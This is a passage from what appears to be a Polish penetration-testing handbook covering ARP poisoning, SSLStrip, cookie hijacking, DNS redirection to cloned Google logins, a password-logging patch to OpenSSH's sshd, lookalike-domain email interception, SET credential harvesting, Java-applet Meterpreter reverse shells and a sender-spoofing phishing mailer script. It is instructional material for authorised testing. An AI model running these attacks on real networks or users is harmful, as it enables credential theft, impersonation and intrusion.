arp_cop 1.1 Report suspicious ARP activity autoadd 1.2 Automatically add new victims in the target range chk_poison 1.1 Check if the poisoning had success dns_spoof 1.1 Sends spoofed dns replies finger 1.6 Fingerprint a remote host finger_submit 1.0 Submit a fingerprint to ettercap’s website remote_browser 1.2 Sends visited URLs to the browser search_promisc 1.2 Search promisc NICs in the LAN smb_clear 1.0 Tries to force SMB cleartext auth smb_down 1.0 Tries to force SMB to not use NTLM2 key auth smurf_attack 1.0 Run a smurf attack against specified hosts sslstrip 1.1 SSLStrip plugin stp_mangler 1.0 Become root of a switches spanning tree

Moim ulubionym atakiem jest dns_spoof. Dzięki niemu można sterować tym, gdzie ma się udać ofiara, wpisując adres w przeglądarce internetowej. Jeśli na przykład uda się na stronę serwisu Gmail, można przekierować ją na swój serwer WWW, podszyć się pod stronę serwisu Gmail i uzyskać dane logowania. Przykład użycia tego rodzaju ataku dla systemów aktualizacji oprogramowania przedstawiłem we wpisie na swoim blogu (https://www.securepla.net/dont-upgrade-your-software/). Opisuję tam, jak połączyć narzędzie Ettercap z narzędziem Evilgrade, aby słabo zaimplementowane procesy aktualizacji oprogramowania wykorzystać do instalacji własnych programów.

IPV6 Narzędziem przeznaczonym do przeprowadzania ataków typu ARP w sieciach IPv6 jest Evil Foca.

Evil Foca (Windows) Narzędzie działa w systemie Windows i jest dostępne do pobrania pod adresem http:// www.informatica64.com/evilfoca/default.aspx. Narzędzie Evil Foca, które przygotował Chema Alonso, umożliwia przeprowadzania ataków ARP w sieciach IPv6, ponieważ ta właśnie sieć wykorzystuje protokół NDP (ang. Neighbor Discovery Protocol). Atakujący musi zmodyfikować lub odpowiednio spreparować dwa żądania (lub dwie odpowiedzi): NS (ang. Neighbor Solicitation) i NA (ang. Neighbor Advertisement). Szczegółowe informacje na temat narzędzia przedstawione są w prezentacji dostępnej pod adresem http://www.slideshare.net/chemai64/defcon-21-fear-the-evil-foca-mitm-attacks-using-ipv6. 115

PODRĘCZNIK PENTESTERA

Narzędzie Evil Foca może przeprowadzać różnego rodzaju ataki:  atak typu MITM w sieci IPv4 przy użyciu zatrutego ARP i wstrzykiwania potwierdzeń DHCP (ang. Dynamic Host Configuration Protocol);  atak typu MITM w sieci IPv6 za pomocą zatrutego NA, atak SLAAC (ang. Stateless Address Autoconfiguration) i podszywanie się pod DHCPv6 (rysunek 5.30);

Rysunek 5.30. Evil Foca IPv6

 atak typu DoS (ang. Denial of Service) w sieci IPv4 za pomocą zatrutych ARP;  atak typu DoS w sieci IPv6 za pomocą SLAAC (rysunek 5.31);

Rysunek 5.31. Evil Foca SLAAC

 atak z zamianą adresów DNS. 116

ROZDZIAŁ 5. PODANIE BOCZNE — PORUSZANIE SIĘ PO SIECI

KROKI DO WYKONANIA PO ZATRUCIU ARP Jeśli udało się zatrucie ARP u ofiary, atakujący w zasadzie uzyskał kontrolę nad tym, gdzie ofiara się uda, co zobaczy, z jakich protokołów będzie mogła skorzystać, a także będzie mógł przechwycić wszystkie hasła przesyłane jawnym tekstem. Przyjrzyjmy się kilku przykładom ilustrującym wykorzystanie udanego ataku ARP.

Podsłuchiwanie Można powiedzieć, że podsłuchiwanie to proces, w którym sprawdzamy cały ruch sieciowy, szukamy tokenów sesyjnych (plików cookie), a następnie wykorzystujemy je do podszycia się pod użytkownika. Pamiętaj, że HTTP jest protokołem bezstanowym. Oznacza to, że musi stosować inne sposoby śledzenia sesji niż pytanie o nazwę użytkownika i hasło przed przejściem do kolejnej strony WWW witryny. Po pierwszym uwierzytelnieniu generowany jest token sesyjny, który w zasadzie od tej chwili staje się elementem uwierzytelniającym. Jeśli uda się uzyskać dostęp do tokena sesyjnego (na przykład przez podsłuchiwanie zawartości przekazywanych plików cookie), atakujący może użyć tokena w swojej przeglądarce i podszyć się pod ofiarę. Jeśli nie znasz dokładnie zasad podsłuchiwania i podszywania się pod ofiarę, możesz zapoznać się z informacjami przedstawionymi na stronie http://www.pcworld.com/article/209333/how_to_hijack_facebook_using_firesheep.html.

Hamster i Ferret (Kali Linux) Hamster to narzędzie umożliwiające przeprowadzanie ataków polegających na podszywaniu się pod ofiarę. Działa jak serwer proxy i zamienia swoje pliki cookie na pliki cookie ukradzione innej osobie, co umożliwia podszycie się pod nią. Za podsłuchiwanie odpowiada narzędzie Ferret. Oto opis sposobu uruchomienia narzędzi Hamster i Ferret:  Włącz przekazywanie pakietów IP: echo "1" > /proc/sys/net/ipv4/ip_forward

 Zmodyfikuj tabele IP dla narzędzia SSLStrip: iptables -t nat -A PREROUTING -p tcp —destination-port 80 -j REDIRECT —to-port 1000

 Skonfiguruj i uruchom narzędzie SSLStrip: sslstrip -f -a -k -l 1000 -w /root/out.txt &

 Rozpocznij atak typu ARP (pamiętaj, że spowoduje on zatrucie wszystkich komputerów w sieci): arpspoof -i eth0 [bramka]

 Uruchom w nowym oknie narzędzie Ferret: ferret -i eth0

 Uruchom w nowym oknie narzędzie Hamster: hamster

117

PODRĘCZNIK PENTESTERA

Teraz wystarczy poczekać, aż ofiara odwiedzi witrynę i uwierzytelni się na niej, a my uzyskamy dostęp do plików cookie. Gdy wydaje Ci się, że pobrałeś tokeny, sprawdź zawartość pliku hamster.txt. Na rysunku 5.32 można zauważyć pliki cookie wykradzione z serwisu Reddit. Wartość tokena sesyjnego została przedstawiona w prawej części rysunku.

Rysunek 5.32. Wyniki działania narzędzia Hamster

Po uzyskaniu tokena sesyjnego witryny Reddit zobaczymy, jak można go wykorzystać do tego, aby widzieć stronę w taki sam sposób, w jaki widzi ją użytkownik. Można skopiować zawartość elementu reddit_session i przenieść go do swojej przeglądarki, a następnie ponownie pobrać stronę serwisu, by wykorzystać skradziony plik cookie. W tym celu wykorzystamy dodatek Web Developer przeglądarki Firefox, który zainstalowaliśmy w rozdziale 1. Otwórz menu Cookies i kliknij przycisk Add Cookie. Przed dodaniem cookie nie byłem zalogowany. Po dodaniu cookie reddit_session wraz z wartością kliknij przycisk OK (rysunek 5.33).

Rysunek 5.33. Zastępowanie cookie 118

ROZDZIAŁ 5. PODANIE BOCZNE — PORUSZANIE SIĘ PO SIECI

Po odświeżeniu strony WWW okazuje się, że uzyskaliśmy dostęp do konta (rysunek 5.34) bez znajomości hasła! Zauważ, że w żaden sposób nie atakuję zabezpieczeń witryny Reddit ani serwerów tego serwisu. Po prostu podsłuchałem ruch przesyłany przy użyciu jawnego tekstu, wydobyłem pliki cookie i zastąpiłem nimi swoje pliki cookie.

Rysunek 5.34. Dostęp do witryny jako ofiara ataku

Firesheep Nie będę dokładnie opisywał narzędzia Firesheep, bo jest nieco starsze i bardzo podobne do przedstawionych w poprzednim punkcie narzędzi Hamster i Ferret . Sam projekt jest jednak aktualny. Więcej na temat narzędzia Firesheep można przeczytać pod adresem http://codebutler.com/firesheep/. Firesheep to dodatek do przeglądarki Firefox, który podsłuchuje treści przesyłane w sieci przewodowej i bezprzewodowej w poszukiwaniu tokenów sesyjnych. Jeśli wykryje taką sytuację, wyświetla okienko, w którym wystarczy kliknąć jeden przycisk, aby podszyć się pod inną osobę. Nie trzeba samemu kopiować i wyszukiwać plików cookie — narzędzie to działa jednak tylko w niektórych witrynach. Dawniej łatwość przechwytywania plików cookie wynikała z tego, że nie miały one ustawionej opcji bezpiecznego przesyłania, a sam transfer nie odbywał się z użyciem protokołu HTTPS. W takiej sytuacji transfer odbywał się za pomocą zwykłego HTTP. W jaki sposób sprawdzić, czy pliki cookie są bezpieczne? Zaloguj się do swojej witryny i przejrzyj dostępne pliki cookie. W tym celu wykorzystuję dodatek Web Developer przeglądarki Firefox. Na rysunku 5.35 wyraźnie widać, że token mw_session, odpowiedzialny za utrzymanie sesji użytkownika, ma wyłączoną opcję bezpieczeństwa. Jeśli kiedykolwiek aplikacja będzie pobierała z witryny informacje za pomocą protokołu HTTP lub jeśli atakujący w jakiś sposób nakłoni użytkownika do odwiedzenia witryny www.securepla.net przy użyciu protokołu HTTP, to uzyska pełne dane sesji i będzie mógł podszyć się pod tego użytkownika.

Przekierowania DNS Jeśli uda się przeprowadzić atak typu MITM wewnątrz korporacji, to jedną z form takiego ataku, która często kończy się sukcesem, jest sklonowanie strony intranetu (lub dowolnej innej strony wymagającej uwierzytelnienia) i zastosowanie przekierowania DNS. 119

PODRĘCZNIK PENTESTERA

Rysunek 5.35. Informacje o plikach cookie i ich bezpieczeństwie

To bardzo łatwy sposób na uzyskanie nazwy użytkownika i hasła. Wykonajmy prosty przykład. Z wcześniejszego przykładu wiemy już, w jaki sposób skonfigurować narzędzie Cain and Abel na potrzeby ataku MITM. Załóżmy, że cały ruch ofiary przechodzi przez nasz komputer. Następny krok będzie polegał na zmodyfikowaniu odpowiedzi na żądania DNS. Kliknij element APR-DNS, dostępny po wybraniu zakładki APR (rysunek 5.36). Kliknij ten element prawym przyciskiem myszy i przy odsłoniętej karcie Sniffer dodaj żądania DNS, które chcesz zmodyfikować. Jak wcześniej wspomniałem, najlepiej podać adres strony intranetowej wymagającej uwierzytelnienia, ale w tym przypadku podmienię adres Google, aby spróbować uzyskać dane logowania. Drugi krok polega na przygotowaniu sfabrykowanej strony podszywającej się pod oryginał — jej celem będzie pobranie danych logowania. Do sklonowania witryny najczęściej używam narzędzi typu SET (ang. Social-Engineer Toolkit). Choć bardziej szczegółowy przykład pojawi się w rozdziale 6., to wspomnę tutaj, że proste klonowanie można przeprowadzić, wybierając z menu SET najpierw polecenie 1 (Social Engineering Attacks), następnie 2 (Website Attack Vectors), później 3 (Credential Harvester Attack Method) i na końcu 2 (Site Cloner). W przedstawionym przykładzie klonuję stronę https://accounts.google.com/ServiceLogin, która stanowi uniwersalny mechanizm logowania do usług Google, Gmail, G+ itp. (rysunek 5.37). Zostaje skonfigurowana na komputerze z systemem Kali Linux o adresie IP 192.168.0.85. 120

ROZDZIAŁ 5. PODANIE BOCZNE — PORUSZANIE SIĘ PO SIECI

Rysunek 5.36. Element APR-DNS w narzędziu Cain and Abel

Rysunek 5.37. Klonowanie strony uwierzytelniania Google

Po udanej konfiguracji zatruwania DNS i uruchomieniu sfingowanej strony uwierzytelniania czekamy, aż ofiara przejdzie na stronę Google.com i zostanie przekierowana do naszej wersji strony. Wszystkie wpisane nazwy użytkownika i hasła zostaną wyświetlone na ekranie, a użytkownik zostanie przekierowany na prawdziwą stronę uwierzytelniania Google, by wyglądało, że się pomylił i wpisał niewłaściwe hasło (rysunek 5.38).

Narzędzie SSLStrip SSLStrip to utworzone przez Moxiego Marlinspike’a narzędzie, które przekierowuje użytkownika ze strony HTTPS na stronę HTTP, aby możliwe stało się podsłuchiwanie całej prowadzonej komunikacji. Warto obejrzeć prezentację Moxiego z konferencji Black Hat (https://www.youtube.com/watch?v=MFol6IMbZ7Y). Narzędzie SSLStrip monitoruje ruch HTTPS i stara się przekierować całą komunikację tego typu na protokół HTTP. 121

PODRĘCZNIK PENTESTERA

Rysunek 5.38. Sfingowana strona uwierzytelniania Google i hasło ofiary

Polecenia do wykonania na komputerze z systemem Kali Linux: echo "1" iptables sslstrip ettercap

> /proc/sys/net/ipv4/ip_forward -t nat -A PREROUTING -p tcp —destination-port 80 -j REDIRECT —to-port 8080 -l 8080 -TqM arp: remote /192.168.0.12/ /192.168.0.1/

W przedstawionym przykładzie podkradamy żądania z adresu 192.168.0.12, kierowane do bramki 192.168.0.1 (rysunek 5.39).

Rysunek 5.39. Narzędzie SSLStrip 122

ROZDZIAŁ 5. PODANIE BOCZNE — PORUSZANIE SIĘ PO SIECI

Gdy ofiara (192.168.0.12) uda się na stronę Facebook.com, nie zostanie przekierowana na stronę wykorzystującą protokół HTTPS w celu uwierzytelnienia. W przedstawionym przykładzie użytkownik wpisuje adres witryny Facebook, jak również nazwę użytkownika oraz hasło. Jeśli zajrzymy do wyników wygenerowanych przez aplikację Ettercap, zauważymy wyświetloną nazwę użytkownika i hasło (rysunek 5.40).

Rysunek 5.40. Ofiara odwiedzająca Facebook.com przekierowana na stronę HTTP w celu zdobycia hasła

TWORZENIE PROXY MIĘDZY HOSTAMI Przypuśćmy, że mamy dostęp do sieci, ale nie mamy dostępu do jej fragmentu, ponieważ jest on możliwy jedynie dla wybranych komputerów lub adresów IP z pewnego zakresu. W takiej sytuacji trzeba uzyskać dostęp do komputera z odpowiednim adresem IP i użyć go jako serwera proxy. Jednym z tańszych i łatwiejszych sposobów zastosowania proxy między komputerami w sieciach podzielonych na sekcje jest wykorzystanie domyślnych funkcji okien. Netsh to polecenie wiersza poleceń modyfikujące konfiguracje sieciowe. Poniższe polecenie spowoduje uruchomienie nasłuchiwania na porcie 8080 i przekierowanie wszystkich żądań pod adres 192.168.5.33 i na port 3389. To prosty sposób przekierowywania ruchu RDP (ang. Remote Desktop Protocol) na inny komputer. netsh interface portproxy add v4tov4 listenport=8080 listenaddress=192.168.0.5 connectport=3389 connect=address=192.168.5.33

Dzięki przedstawionemu rozwiązaniu można wykorzystać jeden z zaatakowanych komputerów do tego, aby przesłać żądania RDP do sieci w innym segmencie.

123

PODRĘCZNIK PENTESTERA

PODSUMOWANIE Mam nadzieję, że dzięki temu rozdziałowi przejście od bycia w sieci do sterowania siecią stanie się przyjemnością. Istnieje spora grupa ataków, które pomagają zarówno w poruszaniu się po sieci, jak i w zwiększaniu uprawnień. Sposób ich wykorzystania zależy nie tylko od celu ataku, ale także od prawdopodobieństwa osiągnięcia wyznaczonego celu. Uzyskanie uprawnień administratora domeny wymaga czasem przeprowadzenia kilku ataków w różnych częściach sieci. Warto ten rozdział mieć zawsze pod ręką, aby skorzystać z przedstawionych w nim pomysłów w trakcie poruszania się po atakowanej sieci.

124

Rozdział 6.

EKRAN — INŻYNIERIA SPOŁECZNA Jeśli ataki na klientów stanowią część prowadzonego testu, to inżynieria społeczna (ang. social engineering) jest jednym z bardziej efektywnych sposobów ataku. Istnieje wiele różnych sposobów przeprowadzania ataków w ramach inżynierii społecznej — od ataków na domenę, poprzez phishing, aż po pozostawienie na podłodze pamięci USB. Ponieważ ten rodzaj ataku wymaga dużej dozy kreatywności, po prostu przedstawię kilka przykładów, które w moim przypadku okazały się skuteczne.

PODOBIEŃSTWO DOMEN Sporo czasu poświęcam na poszukiwanie podobnych domen, by znaleźć najbardziej efektywny atak przy wyznaczonym budżecie. Szczegółowe informacje na ten temat zawiera mój projekt badawczy, dostępny pod adresem http://www.wired.com/threatlevel/2011/ 09/doppelganger-domains/. W trakcie badań analizowałem pomysł, który miał na celu znalezienie należących do znanych firm subdomen, które stosują rekordy MX (ang. Mail Exchanger) i będą łatwe do omyłkowego wpisania. W kilku kolejnych przykładach wykorzystam dwie fikcyjne firmy, które dla adresów e-mail wykorzystują subdomeny: us.company.com i uk.company.com. Wykupiłem więc domeny uscompany.com i ukcompany.com. Pomysł wynika z tego, iż wiele osób zapomina wpisać kropkę między nazwą subdomeny i nazwą domeny głównej.

ATAK WYKORZYSTUJĄCY SMTP Po zakupie domen uruchomiłem serwer SMTP (ang. Simple Mail Transfer Protocol), skonfigurowałem rekordy MX i dodatkowo tak ustawiłem serwery SMTP, aby wyłapywały wszystkie przychodzące e-maile. W efekcie niezależnie od tego, do kogo kierowany był e-mail, jeśli tylko dotyczył posiadanej przeze mnie domeny, był automatycznie przekierowywany na wybrany przeze mnie inny adres URL.

PODRĘCZNIK PENTESTERA

To najczęściej wystarczy, aby uzyskiwać poufne dane przesyłane w tajnej korespondencji firmowej. Zajrzyj na wspomnianą wcześniej stronę WWW, by przekonać się, jakiego rodzaju informacje udawało mi się uzyskać. Wiele razy zdarzyło się nawet, że bez najmniejszych problemów uzyskałem dostęp do SSH (ang. Secure SHell), VPN (ang. Virtual Private Network) lub zdalnego pulpitu dającego dostęp do wewnętrznych sieci. Ten przykładowy atak udało mi się nawet posunąć o krok dalej. W kolejnym przykładzie naszym celem jest pewien bank wykorzystujący domenę bank. com, który posiada oddziały w Rosji. Bank używa domeny ru.bank.com i ma dla niej ustawione rekordy MX. Co więcej, company.com (inna przykładowa firma) używa adresu us. company.com i także ma dla niego ustawione rekordy MX. W tym przykładzie wykupujemy podobne domeny: uscompany.com i rubank.com. Jeśli ktokolwiek przez przypadek źle wpisze adres e-mail, będziemy mogli „wślizgnąć się” w sam środek konwersacji. Stosując kilka prostych skryptów w języku Python, możemy e-mail uzyskany od [email protected]. com, kierowany do [email protected] (autor listu popełnił błąd w adresie), wysłać raz jeszcze do [email protected] (właściwy adres), przy czym zamienić adres zwrotny na john@uscompany. com (czyli na domenę, nad którą mamy kontrolę). Oznacza to, że cała konwersacja będzie przechodziła przez nasz serwer (rysunek 6.1). Uzyskaliśmy w ten sposób efekt pośredniczącej skrzynki pocztowej, a co za tym idzie, możemy podsłuchiwać rozmowę, a nawet zaatakować ofiary w zależności od poziomu wzajemnego zaufania między nimi.

Rysunek 6.1. Przykład człowieka w skrzynce pocztowej

126

ROZDZIAŁ 6. EKRAN — INŻYNIERIA SPOŁECZNA

ATAK WYKORZYSTUJĄCY SSH W czasie badania skonfigurowałem serwery SSH w zmodyfikowanych domenach, aby sprawdzić, czy użytkownicy będą błędnie wpisywać adresy tych serwerów i w ten sposób będą przesyłać mi właściwe hasła. Aby tego rodzaju atak się powiódł, trzeba wcześniej skonfigurować kilka elementów. Najpierw musiałem ustawić rekord A w systemie DNS, aby wszystkie wpisy były kierowane pod konkretnym adresem IP. Użyłem więc w rekordzie A nazwy "*" i wskazałem swój adres IP jako adres docelowy. Wszystkie subdomeny zmodyfikowanego adresu domenowego kierują odtąd wpisy na mój serwer. Oznacza to, że wszystkie wymienione wcześniej domeny kierują je w to samo miejsce:  test.uscompany.com,  dev.uscompany.com,  deadbeaf.uscompany.com. Następnie musiałem tak skonfigurować serwer SSH, aby umożliwiał logowanie w pliku zarówno nazwy użytkownika, jak i wprowadzonego hasła. Skorzystałem z serwera Ubuntu 11.10. Ponieważ standardowa wersja programu sshd nie zapamiętuje haseł, musiałem ją nieco zmodyfikować. Zacząłem od pobrania przenośnej wersji oprogramowania OpenSSH (5.9p1) przy użyciu następująco polecenia: wget http://mirror.team-cymru.org/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz

Rozpakuj pobraną wersję OpenSSH, wykonując podane poniżej czynności:  Wykonaj polecenie tar xvfz openssh-5.9p1.tar.gz.  Przejdź do folderu z OpenSSH, wykonując polecenie cd openssh-5.9. Przed kompilacją sshd muszę zmodyfikować plik auth-passwd.c. Poniżej przedstawiam zmodyfikowany fragment pliku (pełną wersję pliku po modyfikacjach można pobrać pod adresem https://www.securepla.net/download/auth-passwd.c)12. if(!sys_auth_passwd(authctxt, password)) { FILE *garp; garp = fopen("/var/log/sshd_logged", "a"); chmod("/var/log/sshd_logged", 0600); fprintf(garp,"%s:%s:%s\n",authctxt->user,password,get_remote_ipaddr()); fclose(garp); } return (result && ok);

1

https://www.jessecole.org/2011/12/03/ssh-password-logging/

2

https://www.securepla.net/doppelganging-your-ssh-server/ 127

PODRĘCZNIK PENTESTERA

Jeśli kombinacja nazwy użytkownika i hasła nie jest właściwa, zmodyfikowana wersja oprogramowania zapisuje nazwę użytkownika, hasło i adres IP w pliku /var/log/sshd_logged. Po zmianie pliku całość należy skompilować i zainstalować. Zadanie to wykonują poniższe polecenia: sudo ./configure --prefix=/opt --sysconfdir=/etc/ssh make sudo make install

Nowa wersja sshd powinna być gotowa do użycia. Uruchom ją poleceniem: /opt/sbin/sshd

Po jakimś czasie wykonaj poniższe polecenie, by zobaczyć listę kombinacji z nazwą użytkownika i hasłem: tail -f /var/log/sshd_logged Przykładowy wynik: root: Harmon01:192.168.10.10 admin: AMW&369!: 192.168.10.111 tomihama: tomihhama:192.168.10.24 root: hx7wnk:192.168.10.19

W przypadku tego ataku trzeba być bardzo cierpliwym i spokojnie czekać, aż jakiś programista lub administrator pomyli się w nazwie domeny wpisywanej w narzędziu SSH. Bardzo lubię tego rodzaju ataki, nie są standardowe, więc przy ich tworzeniu trzeba się wykazać kreatywnością.

ATAKI PHISHINGOWE W obecnych czasach chyba każdy spotkał się z atakiem phishingowym, ponieważ w skrzynkach pocztowych niemal wszystkich osób na świecie pojawiały się oszukańcze e-maile dotyczące nigeryjskich książąt. W tym podrozdziale przedstawię kilka narzędzi i wskazówek pomagających w przygotowaniu i realizacji własnej kampanii phishingowej.

METASPLOIT PRO — MODUŁ DO PHISHINGU Zamierzam przedstawić zarówno narzędzia płatne, jak i bezpłatne — zacznę od Metasploit Pro (narzędzia płatnego), ponieważ zawiera bardzo dobry moduł do działań phishingowych, z czytelnym interfejsem umożliwiającym przeprowadzanie ataków wykorzystujących techniki inżynierii społecznej. Pamiętaj, że narzędzie to jest dostępne jedynie w płatnej wersji Professional narzędzia Metasploit. Można przygotować wiele różnych kampanii z wykorzystaniem inżynierii społecznej, włączając w to strony WWW, e-maile (również z załącznikami) oraz napędy USB. Najczęstszy sposób ataku polega na utworzeniu strony, której zadaniem jest użycie exploita na komputerze użytkownika lub wyciągnięcie od niego podstępem nazwy użytkownika i ha128

ROZDZIAŁ 6. EKRAN — INŻYNIERIA SPOŁECZNA

sła. Na rysunku 6.2 przedstawiam konfigurację przygotowanego na serwerze klonu strony Google Mail, którego adres trafi do moich ofiar.

Rysunek 6.2. Moduł do działań phishingowych narzędzia Metasploit Pro

Druga część zadania polega na utworzeniu e-maila i takim dobraniu szablonu listu, by spowodował u ofiar chęć otwarcia korespondencji. W prezentowanym przykładzie wykonałem najprostszy list z łączem Click ME (rysunek 6.3).

Rysunek 6.3. Generowanie e-maili w narzędziu Metasploit Pro

W przypadku testów z zakresu inżynierii społecznej zlecające je firmy są najbardziej zainteresowane ich zasięgiem i skutecznością. Wspaniałą cechą narzędzia Metasploit Pro 129

PODRĘCZNIK PENTESTERA

jest to, że cały proces śledzenia przesyłek wykonuje za nas. Narzędzie to śledzi, czy użytkownik otworzył e-mail, czy kliknął łącze i czy wpisał swoje dane na docelowej stronie WWW. Rysunek 6.4 przedstawia przykładowy raport wygenerowany automatycznie przez narzędzie Metasploit Pro. Wykonałem tylko jeden przykładowy atak, ale rysunek w dosyć dobry sposób obrazuje, jakich danych można się spodziewać. Są to informacje o tym, kto wykonał konkretne kroki i jakie to były kroki, ile osób kliknęło e-mail, oraz dane na temat używanych przeglądarek i systemów operacyjnych.

Rysunek 6.4. Raport wygenerowany w celach phishingowych w narzędziu Metasploit Pro

Bardzo często pojawia się pytanie: czy kampania z wykorzystaniem technik inżynierii społecznej odniosłaby sukces w firmie? Używam narzędzia Metasploit Pro i jego systemu raportowania do pokazania statystyk dla wybranej grupy osób. Powtarzanie kampanii pozwala stwierdzić, czy firma z czasem staje się coraz bardziej odporna na phishing, czy też klient musi popracować ze swoimi pracownikami. 130

ROZDZIAŁ 6. EKRAN — INŻYNIERIA SPOŁECZNA

SOCIAL-ENGINEER TOOLKIT (KALI LINUX) Bezpłatnym, wartym polecenia narzędziem do przeprowadzania ataków przy użyciu metod inżynierii społecznej jest Social-Engineer Toolkit (SET). SET został napisany przez TrustedSec i jest frameworkiem służącym do realizowania dowolnych ataków (skrypty w języku Python). Szczegółowe informacje na temat narzędzia wraz z instruktażowymi materiałami wideo znajdują się pod adresem https://www.trustedsec.com/downloads/ social-engineer-toolkit/. Polecam narzędzie SET w sytuacji, gdy chcemy wykazać klientowi, że udało się wkraść do systemu i zdobyć kontrolę nad siecią za pomocą ataku na pracowników. Nie jest to najlepsze narzędzie do zbierania statystyk i śledzenia postępów ataku, ale znacząco ułatwia samo przeprowadzenie ataku i zdobycie danych z kont. A więc do dzieła. Aby uruchomić narzędzie SET, wykonaj polecenie: setoolkit

Po uruchomieniu wspomnianego narzędzia powinien pojawić się ekran jak na rysunku 6.5.

Rysunek 6.5. Narzędzie Social-Engineer Toolkit

Wydobywanie danych logowania Po uruchomieniu narzędzia SET najczęściej podążam jedną z dwóch dróg. Pierwszą z nich jest wydobywanie danych logowania. Polega ono na utworzeniu strony, która łudząco przypomina standardową stronę uwierzytelniania wybranej witryny, aby użytkownik wprowadził tam swoje dane. Choć SET zawiera wiele różnych opcji i skryptów, najczęściej używam go właśnie do wydobywania danych uwierzytelniających. 131

PODRĘCZNIK PENTESTERA

Aby utworzyć podróbkę oryginalnej strony logowania, wykonaj następujące polecenia:  Wybierz opcję numer 1 (Social-Engineering Attacks).  Wybierz opcję numer 2 (Website Attack Vectors).  Wybierz opcję numer 3 (Credential Harvester Attack Method).  Wybierz opcję numer 2 (Site Cloner).  Podaj adres IP lub nazwę hosta, który ma otrzymać dane POST.  Wybierz witrynę do sklonowania (na przykład https://accounts.google. com/ServiceLogin). Gdy ofiara uda się pod wskazany adres URL, zobaczy stronę przedstawioną na rysunku 6.6.

Rysunek 6.6. Sklonowana strona logowania Google i wydobyte dzięki niej hasło

Gdy użytkownik wpisze nazwę użytkownika i hasło, zostanie co prawda przekierowany na prawdziwą stronę logowania Google, ale dodatkowo w oknie na naszym komputerze pojawią się wpisane przez niego dane logowania. Poza tym wszystkie wyniki zostaną zapisane w folderze /root/.set/reports/.

132

ROZDZIAŁ 6. EKRAN — INŻYNIERIA SPOŁECZNA

Użycie SET w ataku z wykorzystaniem apletu Javy Drugim rodzajem ataku, który wykonuję, jest próba zdobycia kontroli nad komputerem ofiary. Jeśli uda się nakłonić osobę do odwiedzenia strony, którą kontrolujemy, możemy użyć ładunku Javy do pobrania i uruchomienia powłoki Meterpretera. Aby wygenerować specjalną stronę przynętę, wykonaj następujące kroki:  Wybierz opcję numer 1 (Social-Engineering Attacks).  Wybierz opcję numer 2 (Website Attack Vectors).  Wybierz opcję numer 1 (Java Applet Attack Method).  Wybierz opcję numer 1 (Web Templates).  Wpisz dane NAT i adres IP.  Wybierz szablon.  Wybierz opcję numer 2 (Windows Reverse_TCP Meterpreter).  Wybierz opcję numer 4 (Backdoored Executable) i pozostaw domyślny port. Po właściwym skonfigurowaniu przez Ciebie wszystkich elementów ekran powinien wyglądać tak, jak na rysunku 6.7.

Rysunek 6.7. Udane użycie aplikacji tworzącej odwróconą powłokę

Gdy ofiara uda się pod przygotowany adres URL, zobaczy ekran weryfikacji apletu Javy (rysunek 6.8). Adres URL można wysłać w wiadomości e-mail lub skorzystać z podobnie brzmiących nazw domen. Mamy nadzieję, że w ten sposób namówimy użytkownika do kliknięcia przycisku Run. Spowoduje to uruchomienie powłoki Meterpretera. Na komputerze z uruchomionym narzędziem SET wystarczy teraz wpisać sessions -i 1, aby przejść do sesji Meterpretera na komputerze ofiary. Oczywiście najlepiej wypróbować możliwość przejścia na konto 133

PODRĘCZNIK PENTESTERA

Rysunek 6.8. Wykorzystanie luki w Javie przez narzędzie SET

użytkownika systemowego (getsystem), ale gdy polecenie nie zadziała, a jesteś lokalnym administratorem, warto uruchomić polecenie run bypassuac (rysunek 6.9).

Rysunek 6.9. Udane uruchomienie odwróconej powłoki i obejście UAC

WYSYŁANIE DUŻEJ ILOŚCI E-MAILI W RAMACH KAMPANII PHISHINGOWYCH Istnieją dwa typowe sposoby wysyłki dużej ilości e-maili. Najszybszy i najprostszy polega na użyciu skryptu w języku Python i wysłaniu listów za pomocą serwerów SMTP firmy GoDaddy. W tym przypadku trzeba posiadać konto w GoDaddy i mieć wykupioną usługę SMTP. Osobiście — z racji prowadzenia ataków związanych z podobnymi domenami — mam wiele własnych serwerów SMTP. Kod w języku Python może wyglądać podobnie 134

ROZDZIAŁ 6. EKRAN — INŻYNIERIA SPOŁECZNA

do poniższego. Ułatwia on podszycie się pod wybranego nadawcę, co pomaga zwiększyć zaufanie do otrzymanej korespondencji i szansę na sukces. #!/usr/bin/env python import smtplib # Konfiguracja sender = 'test@wlasna_domena.com' # prawdziwe dane konta spoof_email = '[email protected]' # konto, pod które się podszywamy spoof_name = 'Piotr' # osoba, którą odbiorca ma uznać za nadawcę password = '' # hasło wymagane przez GoDaddy receiver = '[email protected]' # ofiara login = 'test@wlasna_domena.com' # dane logowania GoDaddy body = "Jestem głodny" # treść wiadomości message = "From: " + spoof_name + " To: """ + receiver + " Subject: Co powiesz na kolację? """ + body try: session = smtplib.SMTP_SSL(‘smtpout.secureserver.net’,465) session. ehlo() session. login(login, password) session. sendmail(sender, receiver, message) session. quit() except smtplib. SMTPException: print "Błąd: nie udało się wysłać e-maila"

Oczywiście przedstawiony kod nie jest kompletny. Trzeba zapewnić odpowiedni mechanizm wczytywania adresów e-mail, a także wymyślić oryginalny sposób oszukania filtrów antyspamowych. Drugi ze sposobów polega na użyciu narzędzia SET do wysyłki e-maili. Aby wysłać dużą ilość e-maili, wykonaj następujące operacje w narzędziu SET:  Wykonaj polecenie setoolkit.  Wybierz opcję numer 1 (Social-Engineering Attacks).  Wybierz opcję numer 5 (Mass Mailer Attack).  Wybierz opcję numer 2 (E-Mail Attack Mass Mailer).  Podaj pełną ścieżkę do pliku z listą adresów e-mail.  Użyj konta Gmail lub własnego serwera SMTP (rysunek 6.10).

INŻYNIERIA SPOŁECZNA I MICROSOFT EXCEL Czasem znajdujemy się w środowisku, w którym nie można przeprowadzić ataku bazującego na aplecie Javy lub stronie WWW. Być może ładunek trzeba dostarczyć w postaci załącznika do e-maila lub też do ataku niezbędne jest medium fizyczne (np. płyta CD, pendrive). Z doświadczenia wiem, że największy procent udanych ataków bazuje na zaufaniu między atakującym i ofiarą oraz korzysta z arkusza kalkulacyjnego Excel zawierającego odpowiednio przygotowany ładunek dla Meterpretera. Gdy mówię o zaufaniu, mam na myśli znalezienie osoby, z którą ofiara regularnie się kontaktuje — a to wszystko 135

PODRĘCZNIK PENTESTERA

Rysunek 6.10. Masowa wysyłka e-maili w narzędziu SET

